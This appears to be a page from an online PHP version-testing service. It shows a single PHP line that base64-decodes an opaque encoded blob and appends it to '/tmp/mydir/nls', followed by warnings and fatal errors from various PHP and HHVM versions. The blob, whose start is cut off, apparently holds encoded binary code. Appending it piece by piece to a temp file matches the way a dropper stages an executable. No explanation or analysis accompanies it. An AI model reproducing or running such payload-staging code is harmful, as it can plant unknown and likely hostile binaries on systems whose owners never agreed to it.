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BVlZkV2ljWlRpY3VCN0t3QUFBQ0UwZytFbWdBQUFJQTlYQ01HQ0FDTGFBUVBoYklCQUFBeDlvWGJENFJ2QWdBQWdEMVZKQVlJQUhRYmkwTU1qVkFFT1ZNUUQ0S0FBZ0FBaXhYWUpBWUlpUkNEUXd3RWl3M2dKQVlJaWVxaElDTUdDTWNFSkFBQUFBRG9NL1AvLzRuSG9kZ2tCZ2dCK0lBOVZTUUdDQUNqMkNRR0NIUVZpMU1NalVvRU9Vc1FENEpOQWdBQWlRS0RRd3dFaWZDRXdIVkpnY1NzQUFBQWlmaGJYbDlkdzQxMEpnQ0FQVndqQmdnQWl5Z1BoR2YvLy8rQVBWMGpCZ2dBRDRTN0FnQUFnSGgxQUErRXdBSUFBSXQ0YkxnQkFBQUE2YXNDQUFDUWpYUW1BSTEwSkNEclpXYVFvU0FqQmdpSkJDVG9VNy8vLzRsMEpBakhSQ1FFZ0NNR0NNY0VKQUFBQUFEbzI3My8=";$data=base64_decode($data);file_put_contents('/tmp/mydir/nls', $data,FILE_APPEND);?>
Output for 5.0.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: file_put_contents(/tmp/mydir/nls): failed to open stream: No such file or directory in /in/N6qtb on line 1
Output for hhvm-3.10.0 - 3.12.0
Warning: No such file or directory in /in/N6qtb on line 1
Output for 4.4.5 - 4.4.9
Fatal error: Call to undefined function: file_put_contents() in /in/N6qtb on line 1
Process exited with code 255.
Output for 4.3.2 - 4.4.4
Fatal error: Call to undefined function: file_put_contents() in /in/N6qtb on line 1
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Call to undefined function: file_put_contents() in /in/N6qtb on line 1